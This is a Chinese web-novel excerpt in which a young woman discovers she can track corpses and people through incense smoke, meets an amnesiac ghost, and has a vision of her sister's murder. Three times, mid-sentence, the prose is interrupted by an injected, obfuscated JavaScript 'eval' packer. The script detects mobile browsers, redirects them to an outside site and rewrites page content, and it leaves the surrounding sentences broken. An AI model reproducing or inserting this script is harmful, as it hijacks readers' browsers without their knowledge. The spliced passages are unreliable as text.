《掌香人:燃香寻尸》 1. 引子 2024年冬,京国东北。 街道上白茫茫一片,路边停着一辆电动三轮车。 三轮车后车厢被一个大黑炉子占满,炉子呼呼地往外冒着热气,热气裹着烤地瓜的香气向四面八方飘去,试图勾起人们内心的馋虫。只可惜四周无人,这香味只有摊主一人独享。 摊主是个穿着军大衣、戴着雷锋帽的六旬老头,揣着手坐在马扎上百无聊赖。 正值腊月,刺骨的寒风活像一把刀子往人骨头缝里扎,大片大片的雪花打着旋钻进行李老四的领口里,冰得他一哆嗦。 “这死天气!” 李老四啐了一口,今早出门时忘记戴围巾不说,梗着脖子在寒风中冻了这么久生意还没开张,更是令他烦躁不已。 眼见雪有越来越大的趋势,他愤愤起身,收起小马扎,钻进三轮车挡风棚里一屁股坐在车座上。自改装的挡风棚是由铁皮和塑料板拼接而成,四处漏风,但好歹能遮风挡雪。 还未等他喘口气,透明塑料板被人敲响,泛着冷意的女声从车窗外传来。 “李老四?” 李老四扭头看向窗外,来人二十多岁,一身黑色羽绒服,隐在宽大的羽绒服帽子里的是一张瘦削白皙的脸,标准的瑞凤眼,眼尾微微上挑,眼珠大且黑,漂亮极了。 他连忙下车:“姑娘,你要买烤地瓜吗?” 下车后他才发现女人手里握着一个小巧的香炉,正往外袅袅地飘着白色的烟,诡异的是那烟竟丝毫不受周围风雪的影响,像一根细绳一样直直地指向他的背后。 女人的目光在李老四的背后顿了一下又移到他的身上,嘴角勾起一抹弧度,将香掐灭揣进口袋,已经确定了眼前人的身份。 李老四被看得心里发毛,回头看了一眼身后,空无一人。 “你看什么呢?” 女人却并不打算回答他的问题,自顾自说道:“二十年前,你在隔壁县的山里捡回来了个媳妇,三十二岁,名叫张慧。张慧身体不好,精神还有问题,每天只能待在屋子里连床都下不了,全靠你照顾。结婚没多长时间张慧就怀上了你的孩子,你高兴地到处借钱给她买补品。可惜张慧怀孕六个月时你出门赶集,她自己在家摔了一跤,一尸两命。你伤心欲绝,这么多年也没再娶。周围人都夸你是个一根筋的好男人,忘不了你那个疯子老婆才没再娶。” 这些事邻里八乡都知道,但这么多年过去了,村里的人死的死,走的走,要打听他一个孤寡老头子的这些陈芝麻烂谷子的事还是要费一些功夫的。这个年纪轻轻的女人为什么要费劲打听这些事? 李老四心里警铃大作:“你打听这些干什么?” “以上是你对外的说法。” 女人顿了顿,接着道,“现实却是你四十多岁还没娶到老婆,进山遇到迷路的张慧,见她孤身一人又生得漂亮便起了歹心,将她哄骗回家。对外宣称她精神有问题,把她囚禁在家里不让她见人。你日夜监视张慧,她多次自杀都被你拦了下来,张慧怀孕后你以为她会为了肚子里的孩子和你好好过日子,便放松了对她的监视,给了她独处的机会,没想到她还是自杀了。你怕事情败露便对外宣称张慧是摔跤导致早产而死,随后为了避风头就搬走了,直到前两年才回来。这么多年你没再结婚也不是因为你多么深情,而是再也遇不到第二个能被你骗回家的张慧了。” “你胡说!你到底是谁?” “不过你不知道的是,张慧被你捡到时就已经怀孕了,你心心念念的老李家的儿子根本就不存在。” 女人瞥到李老四悄咪咪开车门的手,一脚踹了上去。开了一条缝的车门“砰”的一声被关上,与关门声同时响起的还有李老四的惨叫声。 女人充耳不闻,声音极轻道:“可惜,张慧也不知道……不过,也多亏了她肚子里的这个孩子不是你的,我才能找到你。” 李老四目光一狠,抬掌便向女人打去。女人不躲不闪,一把抓住李老四的胳膊猛地一拽,将他拽得向前扑去,提膝,抬脚,三两下便将他制服在地。 手机铃声响起,女人松开手接电话,脚下被她卸了胳膊的李老四在地上打滚痛呼。 “喂,柳大师,找到我老婆了吗?” “找到了。” 不知对面说了什么,女人点了点头,反应过来对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208625|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不到,随即又补充道,“对,就在李老四身上,两个都在。我还有事就不等你了,告诉你尸体的具体位置你派人去找吧,还有这个李老四也交给你们了。” 对面声音有些哽咽:“好,我马上派人过去。多谢柳大师,等我把阿慧和孩子接回来后请您吃饭。” “不用了。别忘了把钱打我卡上就行。”听着对面哽咽的声音,女人叹了一口气,“她生前受了不少罪,别忘了找人超度一下。” 挂断电话,她抬起头看向天空。大片的雪花在她的脸上融化,冰冰凉凉,从皮肤处凉到了心里。她抬手抹掉脸上的水,消失在了茫茫雪色里。 *** 东北,台栗镇。 清晨,第一缕阳光洒在院子里练武的女人身上。 院中的女人额头上挂满了豆大的汗珠,喘了一口粗气后扯过一旁的毛巾将脸上的汗胡乱擦了擦,随后将毛巾搭脖子上,拿起角落里的扫帚开始扫雪。 昨日刚做成了一单生意,这次的雇主大方,给的钱够她花好一阵子了,也不枉她这段时间为了这个单子东奔西跑。 只可惜来东北这一趟,她要找的人依旧毫无线索,她要办的事也依旧毫无进展。 天光大亮,院中的积雪终于被扫净。 “叩叩叩。” 院门被人敲响。 “来了。”女人将扫帚放好后打开大门。 随着“吱呀”一声轻响,一道温润的男声响起:“请问宫叶先生在吗?” 男人的声音突然打住,敲门的手还顿在半空,刀削斧凿的脸上露出惊喜的神情。 半晌,他缓缓开口:“柳颂?真的是你?” 柳颂打量着门口站着的高大男人,三七侧背发型衬得他整个人阳光精致而又不失干练,一双桃花眼干净清澈,完全看不出这人已经二十九岁了。 她笑了出来:“荷橙小姐,你的板寸呢?怎么越老越骚包了?” “四年没见了,你就不能夸我一句?再说了,我也没有很老吧,我才比你大五岁……” 柳颂“噗嗤”一笑,故人再见,四年前的记忆不禁如洪水般奔涌而来。 2. 诡异的香 四年前,东南国,南城。 盛夏的风吹得人口干舌燥,火辣辣的太阳肆无忌惮地炙烤着大地,晒得街上的人都急匆匆地往屋子里躲。 马路坡下面开着一家京国小餐馆。 一辆奔驰MB100面包车缓缓停在坡上面的停车位上。驾驶门打开,走出来一个戴着墨镜的女孩。 女孩看起来二十岁出头,绑着双麻花辫,头戴大帽檐编织草帽,一身度假风穿搭,整个人散发着青春洋溢的气息。 柳颂在小餐馆门口站定,摘下墨镜,露出一双大而明亮的眼睛,唇角扬起笑容,迈步推开小餐馆的门。 随着门的晃动,一阵风铃声响起。 柜台后面坐着的女人二十六、七岁,黑亮的头发在脑后挽成一个髻,手里正拿着把扇子轻轻摇晃。闻声看向门口,眼里闪过惊喜,急忙奔向门口一把抱住来人。 柳颂向后踉跄了一步,拍了拍女人的背:“柳竹,轻点轻点……我快喘不过气了。” 柳竹一把揪住柳颂的耳朵,板起脸:“又没大没小的,叫姐!” 柳颂被揪得呲牙咧嘴,连忙求饶:“姐,我错了。” 柳竹这才放开,双手握住柳颂的肩膀左看看右看看:“不是说下个月才过来吗,怎么这时候来了?也不提前告诉我一声,这里不比国内,没那么太平,要是出事了可怎么办?” “毕业的事都搞完了就提前过来了,我这不是想给你个惊喜嘛。你妹妹我可是跆拳道黑带,谁能欺负我?” 柳颂拉开一旁的椅子坐下,双手托脸:“再说了,你难道不想你可爱善良美丽大方的妹妹吗?” 柳竹噗哧一声笑出声:“就你会贫嘴。不过你不要太自大,就你那三脚猫功夫,在国内没关系,可是这里不一样,还是要小心点,不然怎么死的都不知道。” 后厨走出来一个三十多岁的东南国男人,系着围裙,拿出一瓶冰镇可乐递给柳颂,一开口就是一口流利的中文:“行了阿竹,你别吓唬颂颂了。” 柳竹看向柳颂:“这是你姐夫陈明。” “姐夫好。”柳颂有些诧异,之前听姐姐说姐夫是东南国人,没想到竟然能说这么流利的中文,“姐夫的中文说得真好。” 陈明腼腆地笑了笑,露出一口大白牙:“我祖父是京国人,我小的时候跟着祖父在京国住过几年。” “你姐夫不仅会说中文,还会做京国菜呢,平时都是他做菜,我最多就给他打打下手。待会让他给你露一手。” “那我可有口福了。” 陈明:“那你们姐俩先聊,我去厨房备菜。” 柳竹摆摆手:“去吧去吧。” 看着陈明走远,柳颂凑近柳竹:“姐夫人看着挺不错的,平时对你怎么样?” “你姐夫对我确实没得说,不然我也不会跑这么远嫁给他。就是你一个人在国内,我始终不放心。” 柳颂不在意地笑了笑:“这有什么不放心的,我都是成年人了。” 爸妈在她上中学时就死了,当时还在上大学的姐姐不放心她一个人在老家待着,把她接过来照顾,直到她上了大学,姐姐也遇到了姐夫。可姐姐却不放心将她一个人留在国内,忍痛和姐夫提了分手。 她知道姐姐这么多年把她拉扯大不容易,也能看出姐姐是真心喜欢姐夫。 虽然很不舍,可她总不能绑着姐姐一辈子,为了姐姐的幸福着想,她好说歹说,废了好大力气,劝了姐姐好长时间,姐姐才终于松动,依依不舍地跟着姐夫来到了这里生活。 柳竹还是皱着眉头:“话也不能这样说,你才多大……” 柳颂掏了掏耳朵:“哎哟,这些话你都说了多少遍了,我耳朵都要起茧子了。” “行了,又嫌我唠叨了,我不说了。”柳竹在柜台后面拿出一块【暂停营业】的牌子,“给,把这块牌子挂门口去,我去看看你姐夫做的怎么样。” 风铃声响起,柳颂将牌子挂在门外。正要推门回去,却突然听到一声轻响,转头看向一旁的店铺,一个精美的风铃从旁边店铺的屋檐上掉了下来。 她走向那家没有门的店铺,空旷的水泥地上歪歪斜斜地堆放着几张包着薄膜的台球桌,角落里整整齐齐地摆放着一堆瓷砖。 这是一家还没开业的台球厅。 柳颂捡起地上的风铃,对着屋内喊道:“有人吗?你们的风铃掉了。” 没人回应,她犹豫了一瞬,抬步走了进去。 真奇怪,外面骄阳似火,这里却有些阴冷。 一缕冷风拂过耳后,就像有人在背后对着她的耳朵吹气一般。柳颂转头看向身后,外面的阳光正盛,明明只有几步路的距离,却好像离这里很遥远。她打了个哆嗦,揉了揉胳膊上的鸡皮疙瘩,这里也没有开空调啊,哪里来的冷风呢? “有人吗?” 她又问了一遍。 屋内死一般的寂静。 柳颂咽了咽口水,把风铃轻轻放在台球桌上,转身就要离开。 一道极轻极细的声音在耳边响起:“你终于来了。” 柳颂吓了一跳,猛地转头看向身后,空无一人,一片死寂。仿佛刚才的声音只是她的幻觉。 这里太诡异了,她待不下去了。柳颂捂住快要跳出来的心脏,提起一口气就往屋外跑。 短短的几步路她却觉得跑了好久,怎么都走不到尽头。 终于跑到了屋外,炽热的阳光肆无忌惮地照在身上,良久才驱散柳颂身上的寒气。 她大口大口地喘着气,回头看了一眼台球厅。从外面看进去这只是一家平平无奇的台球厅,可在柳颂眼中,里面却像另一个世界,危险、黑暗。 回到姐姐的小餐馆,柳颂咬着可乐瓶子里的吸管凑到厨房门口。 姐夫在里面颠勺炒菜,是她最喜欢的糖醋里脊。高高的火苗蹿起,火舌疯狂舔舐着锅底。姐姐拿着个蒲扇倚靠在灶台边指点江山:“对对对,就是这样炒……”看见柳颂,柳竹走了过来,“在外面等会儿,饭还要一会才好。饿了的话就去柜台里拿小零食垫巴一下,别吃太多,要不然一会又吃不下去饭了。” “姐、姐夫,你们知道旁边那家台球厅吗?” 陈明想了想:“台球厅?就是还没开业的那家吗?他家好像好久之前就说要开业了吧,结果到现在也没开。” 柳竹摇着蒲扇:“对,连个锁都没有,也不怕被偷,这老板可真够心大的,找人把东西往里一摆就不管了,也不来看着。” 柳颂有些奇怪:“那就没人来偷吗?” 柳竹:“说起来确实挺奇怪的,还真没听说过他家被偷。不过他家存在感挺低的,你不说我都快忘了旁边还有家台球厅呢。” “那你们见过老板吗?” “几个月前见过一次,好像是个中年女人吧。你怎么突然问这个?” 柳颂咬住吸管喝了一口可乐:“没什么,随便问问。” 可能是她昨晚在飞机上熬夜看恐怖小说没睡好,今天出现幻觉了。 *** 天色渐晚,夕阳温和地洒在地上。 餐毕,陈明收拾桌上的盘子,柳竹在柜台后拿了个包往里塞吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208626|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还是让你姐夫送你回酒店吧。”柳竹有些担心,本来她想让柳颂晚上留在餐馆跟着她睡,让陈明在沙发上凑合呢,结果这丫头来之前就订好了酒店,还租了车,非要自己开车回去。 “送什么送,酒店又不远,我自己开车回去就好啦。” 看柳竹还有些担心,柳颂推了推她,“你们就在屋里待着吧,我都多大了,自己能行,别再把我当小孩子看了。” “唉,行吧。”柳竹叹了一口气,嘱咐道,“那你路上小心点,到了酒店就给我们打电话。” 柳颂接过包,冲柳竹摆摆手后走出了餐馆。 路上空无一人,柳颂沿着坡走近面包车才发现车旁路过了一个三十多岁的男人。男人头戴白色渔夫帽,一身同色系长袖长裤,手里拿着……一支点燃的香? 四下无风,那支香的烟却直直地往柳颂这个方向飘。 帽子男看见柳颂,扬起一抹绅士的笑容,示意她先走。 柳颂心下疑惑,这个男人实在是有些奇怪,她留了个心眼,没有走到帽子男那一侧,而是绕到车的另一边,用面包车将自己与他隔开。 谁料帽子男含笑的眸子盯着柳颂,竟在原地站定不走了。 柳颂面色一沉,这个人太奇怪了,他想要干什么? 不会这么倒霉遇到人贩子了吧? 突然,帽子男动了,他迈开大步绕过面包车直冲柳颂而来,嘴角的弧度丝毫不变,本应该十分绅士的笑容此刻看起来却诡异至极。他手中的那支香飘出的烟随着男人的跑动不断变换着方向,可无论怎么变,最后都会像指南针一样指向柳颂。 这是什么鬼东西? 柳颂的头皮瞬间炸了起来,反应过来后急忙向前绕着面包车跑了起来。 她肾上腺素飙升,周围空无一人,柳颂想放声尖叫,希望姐姐能听到。 可惜声音不听使唤,她想大声呼救,可是发出的声音却细小沙哑。 帽子男很快就跑到了柳颂背后,他手握成拳直冲柳颂后脑勺而去。 柳颂敏锐地察觉到了背后的危险,急忙侧身躲避,可左肩仍被凛冽的拳风击中,传来火辣辣的疼痛。 帽子男乘胜追击再次出拳,柳颂无处躲闪,挥臂想要接住这一拳,可惜二人力量过于悬殊,柳颂被逼得连连后退。 她拼尽全力呼喊着“救命——”,余光不住地往坡下面的小餐馆看,只见坡下面跑上来两个人。 万幸,姐姐和姐夫还是听到了她的呼救。 陈明三步并作两步跑到车旁,一脚踹向帽子男,不料被他侧身躲过。陈明眼疾手快一把抱住男人从坡上滚了下去。 柳竹大喊:“颂颂,快上车!” 柳颂看见姐姐手握方向盘,摇下车窗招呼自己。连忙拉开副驾驶的车门坐了上去。 柳竹目光坚定:“抓好扶手。”随后按了两下喇叭,一脚油门冲了下去。 坡下的陈明心领神会,在喇叭响起的时候飞快地松开帽子男朝一旁滚去。 留在原地的帽子男被车灯照亮脸庞,嘴角诡异的笑容不知什么时候已经消失,他瞳孔放大,里面却没有震惊与害怕,而是满满的戏谑与势在必得。 帽子男在车子快要碾过他的瞬间趴在地上,完美地躲过了车轮的碾压。 柳颂扭头从后车窗往外看,只见帽子男快速爬起来跑走,快要在她们的视线里消失时,帽子男转过头,如毒蛇一般的目光紧紧地盯住了柳颂。 柳颂被这样的目光看得不寒而栗,浑身的寒毛都竖了起来。 她瘫在座椅上,额头满是冷汗。 3. 绳子假说 “咚咚咚!” 陈明敲响副驾驶的车窗,一脸担忧地看着柳颂:“没事吧?” 柳颂脑子一片空白,只机械性地点了点头。 柳竹倾身过来,帮柳颂擦了擦额头上的冷汗,不小心碰到了柳颂的肩膀。 “嘶——”柳颂没忍住痛呼出声。 柳竹连忙掀开柳颂的袖子,只见白皙的肩膀处大片青紫。 柳竹眼眶变红,忍不住数落起来:“早就说你那三脚猫功夫在这里得不了好处,还非得装大人,非要自己回去,这下好了,看你疼不疼!” 话还没说完,声音里已带上哭腔,再一看,眼泪已经啪嗒啪嗒地滚落下来了。 被姐姐这一闹,柳颂终于从恐慌无措的情绪中回过神,手忙脚乱地帮姐姐擦眼泪。 “我错了我错了,姐,你别哭……你看,我这不是没事吗?” “这次要不是我和你姐夫听见你呼救,你还能没事吗?” 柳颂说不出反驳的话了,和帽子男过了两招,她根本就不是他的对手。若是没有姐姐和姐夫的帮忙,她是什么下场也未可知。 不过那个男人到底是谁?还有他手里的那支香为何会诡异地指向她? 柳颂突然想起了什么,她拉开车门,弯下身子看向车底。 果然,帽子男当时着急离开,无暇顾及手中的香,那支还剩半截的香静静地躺在原地。 柳颂伸长胳膊,将那支熄灭的香捡了出来。 “这里怎么会有一支香?”柳竹跑下车奇怪地看向柳颂手中的香。 “是那个男人落下的……姐,你们这边哪里有卖这种香的?” 柳竹接过香仔细端详,这是一支紫红色的线香,看起来平平无奇,和普通的香没什么两样。 她把香递给柳颂:“这不就是普通的香吗?这边基本上每家香火店都有卖的。” 柳颂把香收起来,她想起那个奇怪的男人临走时的眼神,总觉得事情没那么简单。 一阵风吹过,柳颂打了个寒战,强烈的被窥视感像毒蛇一般黏附在身上。 帽子男会不会在暗中盯着她?可是她走了,姐姐还在这里,他会不会盯上姐姐? “姐姐、姐夫,你们和我一块回酒店住吧。” 柳竹揉了揉她的脑袋:“怎么,现在不逞强了?早就说要送你回去,快上车吧。” 车上,陈明开着车,柳颂在后座把头靠在柳竹身上:“姐夫,记得多绕一会路,我怕那个人会跟着我们。” 陈明笑道:“这边好多扒手,估计那个人看你一个小姑娘落了单就动了心思。这种人不会只盯着一个目标,一般没有得手就会换目标了,不会跟着你的,不用太害怕。” 柳竹:“小心驶得万年船。正好趁着这个机会开车带颂颂看看这边的风景。” *** 次日中午十二点,酒店房间内。 窗帘猛地被拉开,阳光争先恐后地涌进屋子。 柳颂一张小脸皱成一团,拉过被子把头蒙了起来。 柳竹站在床前:“太阳都晒屁股了,你还不起床吗?” 柳颂闷声闷气的声音从被子里传出来:“姐,昨天晚上没睡好,让我再睡会……” 柳竹一把掀开被子:“起来把饭吃了再接着睡。”见床上的人没反应,她叹了口气接着说道,“快点起来吃饭。餐馆里人太多了,你姐夫一个人忙不过来,我得回去了。” 柳颂扯过被子翻了个身:“知道了,我待会起来就吃。” 柳竹看了眼时间,一手背包一手换鞋:“那你记得吃。” 屋内安静了下来,困意袭来,柳颂迷迷糊糊之际,一阵冷风拂过脸颊。 “桀桀桀……” 一道极轻的轻笑在耳边响起,柳颂猛地坐了起来。 “谁!” 四下无人,屋内只有她的心跳声,仿佛刚才的声音从未存在过。 她听错了吗?这两天怎么总是出现幻觉? 柳颂揉了揉炸毛的头发,一把掀开被子拖拉着拖鞋走到卫生间洗漱。 —— 狭窄的街道脏乱嘈杂,背着背篓的小贩到处乱窜。 柳颂侧身躲开一个横冲直撞的小男孩,走进一家街角的香火店。她将昨天的那支紫红色线香放到柜台上:“老板,有这种香吗?” 留着络腮胡的老板嘴里叼着烟,瞥了一眼,随手从柜台里拿出一捆香扔到桌子上。 看柳颂抽出一根细细比对,老板猛吸一口烟后吐出:“不用比啦,保管一模一样的。这是我们店最便宜的一种香,错不了!” “还有其他的吗?每样给我来一捆。” 老板眼睛顿时亮了起来,脸上堆满了笑:“好嘞,马上给您拿。除了这种祭祀用香,我们还有沉香、檀香、龙涎香等等,不止有线香,盘香、塔香、香锥、香丸我们也都有,您都要吗?” “要。” 酒店房间烟雾缭绕,柳颂将买来的香摆满了一桌子,每样取出一根点燃,白烟袅袅,在屋内升腾消散,却没有一支出现和昨天那支香一样的情况。 她拿起昨天的那半支线香看了又看,不再纠结,果断点燃。 淡黄色的火舌舔舐上香头,线香的断口处由黑变红,柳颂将火吹灭,白烟升起。 她屏住呼吸,眼睛一瞬不瞬地盯着白烟,只见那白烟向上飘出,盘旋,最终消散在半空中,与其他的烟并无二致。 柳颂将香熄灭,看来和香无关了。 是那个男人能控制香的走向吗?可是什么人能控制这些呢? 感受到身上的被窥视感,柳颂打了个哆嗦。 难道说,他不是人?可不是人,那他是什么呢? 柳颂甩了甩头:“不可能,这个世界上没有鬼!对,根本就没有鬼。所谓的鬼都是自己吓自己罢了。” “是吗?” 柳颂面容僵硬,缓慢地把头转向身后。 只见一个披头散发的女人飘在半空,一身破烂的白色长裙上满是鲜血,看到柳颂无动于衷,她露出一个阴恻恻的笑容,左侧的眼珠子忽地掉落,被她用手接住。黑血从空洞的眼眶里流出,顺着脸颊滴落在地板上。 柳颂面无表情地看着,白眼一翻,直直地倒了下去。 晕倒前看到的最后一眼,是那个女鬼正捏着眼珠子像戴美瞳一样往眼眶里塞。 —— 再次睁眼时天已经黑了,屋内一片漆黑。 柳颂躺在地板上,双眼无神地看着天花板,半晌想起什么,连忙把眼睛闭上。 “喂,我看到你睁眼了。”女声从头顶传来。 听不到,这一切都是假的。 柳颂死死闭着双眼,刻意忽略耳旁的声音。 屋里的灯“欻”地被打开,突如其来的光线刺得柳颂眼皮一颤。 “别装了,你再不睁眼我就要动手掰开了。” 柳颂认命般睁开眼睛,女鬼的眼珠子正安安静静地躺在眼眶里,脸上和身上的血也没了。此刻正坐在床边像看智障一样低头看着她。 不似白日的血腥,此刻的女鬼看起来像个纯良无害的小姑娘,只是面色苍白如纸,身下也没有影子。 柳颂退到墙角,戒备地盯着女鬼。 从现在的情况看来,这只女鬼应当不想要她的命,否则她晕了那么长时间,女鬼早就下手了。 “你是谁?” “你离我那么远干什么?怕我吃了你啊?” 看柳颂仍杵在原地,女鬼轻笑一声:“你的胆子怎么这么小?” 这不是废话吗,谁看到鬼不害怕啊?不过这只女鬼从天亮等到天黑,现在还和她聊天,肯定是对她有所图谋。可她除了这副身体有什么值得女鬼图谋的呢? “你想干什么?” “我想跟着你。” 这是要缠着她了,柳颂欲哭无泪:“你缠着我干什么?姑奶奶,我什么都没有,您还是快走吧” “不走。”女鬼一脸严肃,“还有,不是缠,是跟着,我要跟着你。” “那你跟着我干什么呀?咱俩又不认识。” 女鬼沉默了下来,半晌缓缓开口:“我觉得我们一见如故。” 柳颂无语,她和一个鬼哪来的一见如故。 女鬼却不理会柳颂的表情:“我不记得我是谁,只知道我在等一个人,却不知在等谁。但现在,我知道了——” 她从床边起身,飘到柳颂面前,漆黑的眼睛盯着柳颂,红唇轻启,“我等的人,就是你。” 柳颂看着如此笃定的女鬼,有些困惑:“你认识我?” “不认识。” “那你……” 女鬼打断她:“虽然不认识,但我可以确定,就是你。 我不知道我是谁,最早的记忆就是跟着一个男人来到了这里。后来那个男人越来越老,他死后我就跟在他儿子身边。他们都看不见我,我也不知道为什么要跟着他们。不知道什么时候开始,我的能量越来越弱,记忆也越来越模糊,到现在都已经记不清那个男人的样子了。我不知道我的家在哪里,也不知道我是怎么死的,但我可以肯定,我的尸骨离这里很远很远。我怀疑正是因为离尸骨太远了,我才会失去记忆越来越虚弱的。 这几年我觉得我快要消散了,不再跟着那个男人的后代,而是一直待着台球厅里。直到你的到来,我发现我的身体强壮了一些,虽然和以前没办法比,但总归不会消散了。看见你之后,我终于想起了一些东西——” 女鬼情绪突然激动起来,瞪大双眼,紧紧盯着柳颂,眼睛红得似要滴血。 “你可以帮我找到我的尸骨!” 柳颂后背紧贴着墙壁,思量着女鬼的话有几分可信度:“我?我就是个普通人,怎么帮你找你的尸骨?是不是你搞错了?” “我没搞错。”女鬼退回床边,挠了挠眼睛,似是觉得不过瘾,化指成爪,把眼珠子抠了出来拿在手上把玩。 柳颂:…… 这女鬼怎么一言不合就扣眼珠子? 柳颂闭上眼睛,深吸一口气:“你能把眼珠子安回去再说话吗?” 女鬼正把眼珠子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208627|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当成弹珠抛起又接住,闻言犹豫了一会,还是掰开眼皮把眼珠子塞了进去。 柳颂继续刚才的话题:“你为什么这么确定?” “我不是说了吗,我们一见如故。” 柳颂抿了抿唇,她可以确定以前从未见过这个女鬼,所谓一见如故说不定就是女鬼找的一个借口。 “那你还记得你的名字吗?” 女鬼摇了摇头:“不记得了……你到底帮不帮我?” 柳颂不语,走到桌前收拾着桌子上的香。 女鬼在她身边飘来飘去:“你到底帮不帮我?” 柳颂把香塞进包里:“我帮不了你。” 她看出来了,这个女鬼没有恶意。虽然失去记忆又快要魂飞魄散,可这和她有什么关系呢?她既不是道士也不是和尚,只是个什么都不会的普通人,怎么帮?又为什么要帮? “你能帮。”女鬼有些着急伸手想拉住柳颂,但忘了自己已经死了,抓了个空,“虽然我想不起来你应该怎么帮我,但你就是能帮!” 柳颂:“你也说了,连你都不知道方法,我又怎么帮你找尸骨?世界这么大,你又不知道死了多久,说不定尸体早就腐败了呢?我只是个普通人,没有那么大的神通,恕我爱莫能助。” “能帮,能帮的。”女鬼自言自语道,但具体怎么帮呢?她努力回想着,可头实在太痛了,怎么都想不起来。她揉了揉脑袋,把眼珠子抠出来念叨着:“怎么帮呢?”说着,慢慢地飘进了墙壁里。 房间内安静了下来。 柳颂倚靠在桌边,拿起一个精致小巧的香炉放在手里把玩,这是香火店老板送的赠品。 这世上既然有鬼,那会不会有其他科学解释不了的东西呢? 那个帽子男也是鬼吗? 柳颂摇了摇头,他有影子,还怕被车撞,应该不是鬼。 “我知道了!” 女鬼突然蹿到柳颂面前,“香!” 柳颂把玩香炉的手指一顿:“你说什么?” 女鬼:“燃香寻尸,你可以通过香帮我找尸骨。” 燃香寻尸?柳颂想到了帽子男,当时他手中便是拿着一支点燃的香,白烟直直地指向她,可她也不是尸体啊。 女鬼还在说着:“我仔细想了好久脑中都是一片空白,直到看到你桌子上的香,心中有了一些猜想。 从古至今,香都是一种既常用又特别的东西,活人要用香,由呼吸进入体内,或安神,或静心;祭祀也要用香,或拜神,或祭祖。人们都认为神仙需要香火,死去的祖宗也要香火。给谁烧香,这香火便算在谁的头上。那是不是可以说,香就像会识人的指南针,飘出的烟就是绑在指南针上的绳子,听从指南针的指挥飘到指定的神仙祖宗面前呢? 活人拿着一支香祭祀祖宗,飘出的烟不仅飘到了祖宗那里,还被活人吸到体内。若这个人有些本事,能感受到这根绳子,那是不是就可以顺着这根绳子找到祖宗?” 柳颂仔细听着,这个说法有点意思。那思维发散一下,这个指南针不仅可以指向神仙祖宗,还可以指向其他的东西,比如人,比如小猫小狗,甚至还能指向一些死物,比如金银财宝,比如尸体?能感受到这根绳子的人是不是也能通过香找到这些东西? 帽子男说不定就是能感受到绳子的人,利用这根指向她的绳子找到了她? 这样便能解释无论她在哪个方向,帽子男手中的香都能无视周围环境准确无误地指向她了。 柳颂头皮有些发麻,可是为什么呢?她只是个普通人,帽子男为什么要找她呢? 女鬼说完自己的猜想,越说越坚定:“所以,你就是那个能感受到绳子的人,可以利用香这个指南针找到我的尸骨!” 柳颂沉默下来,对上女鬼期待的眼神,半晌缓缓道:“可我就是个普通人,感受不到那根绳子。我今天点了这么多香你也看到了,什么都没发生不是吗?再说了,这些都只是你的猜想罢了。” 女鬼:“万一这个猜想就是事实呢?说不定要满足什么条件你才能感受到这根绳子呢?你再试试,再点一支香试试。” 柳颂打开手中香炉的盖子,一个莲花状盘香静静地躺在雪白的香灰上,这是香火店老板自己调的安神香。 “我可以答应你再试一次,但你也要答应我,如果什么都没发生,你就离开这里,别再缠着我了。”看女鬼有些犹豫,柳颂把香炉盖子盖上,“你要是不答应,我就不试了。” 女鬼一咬牙:“试!我答应你。” 安神香被点燃,发出淡淡的檀香味,令人心安。一人一鬼却紧张地盯着飘出的烟,只见极淡的烟雾从香炉中飘出、升腾,眼看就要消失在空气中。 柳颂正要松一口气,女鬼突然惊呼一声:“快看!” 只见那烟雾凝聚成一条线,像寻找方向的孩子一样四处晃了晃,随后径直指向一个方向。 看着那个方向,柳颂心脏剧烈跳动,心底涌出不安,那是姐姐的小饭馆的方向。 真奇怪,天都黑了,姐姐怎么还没有联系她呢? 4. 燃香寻尸 一个画面突兀地出现在柳颂的脑海里。 昨日温馨的小饭馆此刻被大火淹没,熊熊烈火将房梁烧断,砸在趴着的人身上。 姐夫陈明脸上满是鲜血,喉间一道深不可测的口子正往外流着血。他双眼大开,怒目而视,愤怒与不甘在脸上定格。 他躺在地上一动不动,即使被燃着火光的房梁砸中也毫无反应。 ——他死了,被人割喉而死。 看向一旁,柳竹背靠墙壁坐在地上,粘血的发丝黏在脸上,遮住了她的表情。胸口毫无起伏,一把刀插在她的心口处。血红的鲜血沿着刀把滴落。 白衣白裤的男人低头看着没了气息的柳竹,手中一把黑色匕首正往下滴着血。俊秀的脸上被溅上了血,衬得他整个人如煞鬼一般。 是那个帽子男! 他掏出一支紫红色线香,点燃,烟雾升腾旋转,最终指向柳颂所在的方向。 火光外人影憧憧,救护车、消防车拉着铃飞速开来。 帽子男往外看了一眼,掐灭线香跳窗跑走。 柳颂太阳穴狂跳,手中香炉落地,画面戛然而止。 